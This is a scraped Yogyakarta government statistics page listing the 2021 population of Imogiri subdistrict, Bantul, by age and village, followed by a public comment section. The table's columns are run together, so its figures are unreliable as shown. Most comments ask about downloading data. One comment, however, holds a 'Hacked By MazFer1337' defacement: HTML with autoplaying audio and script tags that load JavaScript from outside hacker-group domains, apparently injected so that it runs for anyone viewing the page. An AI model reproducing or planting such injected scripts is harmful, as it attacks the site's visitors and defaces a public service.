Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN IMOGIRI, KABUPATEN BANTUL, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSELOPAMIOROSRIHARJOWUKIRSARIKEBONAGUNGKARANG TENGAHGIRIREJOKARANGTALUNIMOGIRITotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun166164 33095103 198212226 4383747 847371 1446561 1263739 765246 98737 757 1.494
2 tahun90106 1965653 109126124 2502819 472936 653536 712123 443022 52415 419 834
3 tahun9699 1956370 133111144 2551627 433135 662434 582514 392525 50391 448 839
4 tahun9380 1736059 119130118 2482728 554845 934532 772314 373924 63465 400 865
5 tahun10198 1997162 133134146 2803518 534437 813133 641712 292940 69462 446 908
6 tahun127100 2277056 126151147 2982727 543738 753334 672422 463731 68506 455 961
7 tahun101108 2097163 134151127 2782231 534137 783031 612025 453629 65472 451 923
8 tahun85112 1977368 141142147 2891527 424238 804238 802919 483139 70459 488 947
9 tahun12185 2067762 139149129 2783518 535142 932238 602718 454228 70524 420 944
10 tahun100116 2166656 122144113 2573821 594738 853339 721726 432931 60474 440 914
11 tahun109102 2116869 137167149 3163138 693436 703535 702420 444322 65511 471 982
12 tahun112105 2175585 140150137 2873439 733633 693037 672421 454829 77489 486 975
13 tahun95126 2218673 159153129 2823737 743640 764334 772431 553832 70512 502 1.014
14 tahun110106 2166574 139118126 2444728 754534 793132 632824 522830 58472 454 926
15 tahun9380 1737160 131134126 2602726 533139 704430 741520 352127 48436 408 844
16 tahun9891 1896260 122131115 2463233 653334 673429 632224 462833 61440 419 859
17 tahun10581 1866358 121115117 2322132 533439 733321 542214 362621 47419 383 802
18 tahun9399 1925858 116150115 2652529 542725 523617 531713 302425 49430 381 811
19 tahun92117 2096364 127104138 2422419 434026 663435 691621 372926 55402 446 848
20 tahun10692 1985253 105109127 2363022 524128 694326 692616 423034 64437 398 835
21 tahun11683 1997170 141135124 2592430 544438 822731 581512 272929 58461 417 878
22 tahun9085 1755144 95110105 2152722 493542 773130 611830 483020 50392 378 770
23 tahun93107 2005565 120104111 2151623 394335 783340 732625 512726 53397 432 829
24 tahun104113 2177059 129117110 2272520 454339 822531 562320 432428 52431 420 851
25 tahun96105 2017160 131124104 2282230 525038 882628 541820 383627 63443 412 855
26 tahun144126 2705585 140126129 2552017 373040 703136 672514 391725 42448 472 920
27 tahun104108 2126559 124127136 2631422 365235 873628 642317 402626 52447 431 878
28 tahun94113 2076566 131130119 2492223 454543 883040 701414 282426 50424 444 868
29 tahun10599 2045676 132139137 2763123 543349 823233 652018 382439 63440 474 914
30 tahun120103 2237361 134120142 2622927 564352 953627 632423 471934 53464 469 933
31 tahun10698 2047970 149118138 2562224 463236 684024 642718 452122 43445 430 875
32 tahun9797 1945769 126110119 2292321 443741 783331 642024 442228 50399 430 829
33 tahun10797 2046163 124117138 2551719 364341 844138 791326 392936 65428 458 886
34 tahun105126 2316967 136120136 2562930 594443 872734 613019 493332 65457 487 944
35 tahun124124 2485970 129140127 2672026 463431 652938 672122 434032 72467 470 937
36 tahun118111 2297964 143160142 3023034 644245 875737 942123 443048 78537 504 1.041
37 tahun114112 2267860 138146139 2852534 594548 933038 682027 473324 57491 482 973
38 tahun125124 2497463 137175144 3195136 874940 894838 863626 624141 82599 512 1.111
39 tahun126121 2478387 170169146 3153032 625442 964843 913134 653429 63575 534 1.109
40 tahun134110 2447372 145145134 2793530 654148 894346 893027 573740 77538 507 1.045
41 tahun125103 2288476 160143149 2923037 673629 654237 792419 433138 69515 488 1.003
42 tahun11094 2046583 148133122 2552837 653145 764134 751614 303333 66457 462 919
43 tahun89110 1997360 133151133 2843038 683446 802934 632530 552930 59460 481 941
44 tahun11299 2115760 117130122 2523328 613936 753630 662821 493836 74473 432 905
45 tahun12598 2237059 129115126 2413834 723842 804135 762829 573733 70492 456 948
46 tahun10382 1856867 135126123 2492426 502635 612229 512321 443932 71431 415 846
47 tahun8995 1846855 123150126 2762531 563735 722424 481118 292527 52429 411 840
48 tahun108119 2278775 162125117 2422827 553231 633235 672823 513337 70473 464 937
49 tahun9684 1804267 109120112 2322519 443029 593027 571826 442029 49381 393 774
50 tahun9588 1836255 117107126 2332526 513933 722132 532125 463324 57403 409 812
51 tahun105119 2246859 127137115 2522537 624838 862532 572730 573028 58465 458 923
52 tahun87106 1935060 110117133 2503328 613129 603034 642227 493626 62406 443 849
53 tahun89108 1975677 133120127 2473427 614636 824629 752022 422426 50435 452 887
54 tahun9387 1805652 10810892 2003028 584035 752439 633023 532541 66406 397 803
55 tahun10776 1835069 119108117 2252816 443442 763730 672029 493226 58416 405 821
56 tahun8391 1745764 121101119 2202132 533737 742624 502515 402733 60377 415 792
57 tahun7583 1586074 134102107 2092829 573342 752727 542123 444144 85387 429 816
58 tahun84100 1846467 13110898 2062423 473930 692337 601727 441331 44372 413 785
59 tahun7989 1685344 979190 1812322 451831 492527 521922 412120 41329 345 674
60 tahun10091 1916976 14588123 2112630 563835 732630 562824 523327 60408 436 844
61 tahun86111 1976273 135106116 2222030 502330 532933 622016 362726 53373 435 808
62 tahun7194 1656061 1219494 1882417 412818 463725 622621 472226 48362 356 718
63 tahun7791 1684871 11910391 1942613 392632 582034 541326 392031 51333 389 722
64 tahun6882 1505556 1118970 1591520 353028 581430 442016 361923 42310 325 635
65 tahun8680 1664850 987176 1472028 482022 423328 61715 221724 41302 323 625
66 tahun7353 1265344 978485 1691216 281815 331621 37157 221626 42287 267 554
67 tahun6661 1273835 736961 1301613 291726 432614 40914 231917 36260 241 501
68 tahun5762 1192825 536848 116146 202121 422421 451211 23149 23238 203 441
69 tahun5864 1223628 644138 791411 251319 321917 361110 211017 27202 204 406
70 tahun6655 1213335 684158 992216 382716 431118 29814 221212 24220 224 444
71 tahun4653 993243 754851 99611 171713 301420 34912 21166 22188 209 397
72 tahun4743 901824 422929 5866 121116 271115 2678 1598 17138 149 287
73 tahun2745 721218 302332 5588 16813 2167 1327 978 1593 138 231
74 tahun3244 761027 371834 5253 878 151010 2062 8513 1893 141 234
75 tahun2444 682730 572850 78720 271712 29814 22711 1854 9123 185 308
76 tahun3148 791933 522433 5714 579 16810 18911 2046 10103 154 257
77 tahun3332 652427 511525 40812 20915 241413 2762 8713 20116 139 255
78 tahun3640 762023 432753 80511 1637 101311 2448 1246 10112 159 271
79 tahun2227 49137 202032 5256 1137 1098 1766 1265 1184 98 182
80 ke atas136248 38485148 233137269 4063054 845885 1433876 1142533 582946 75538 959 1.497
Jumlah7.4117.52814.9394.6694.7939.4628.9289.00217.9301.9221.9693.8912.7082.7055.4132.3932.4144.8071.5861.5733.1592.1092.1534.262 31.726 32.137 63.863
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih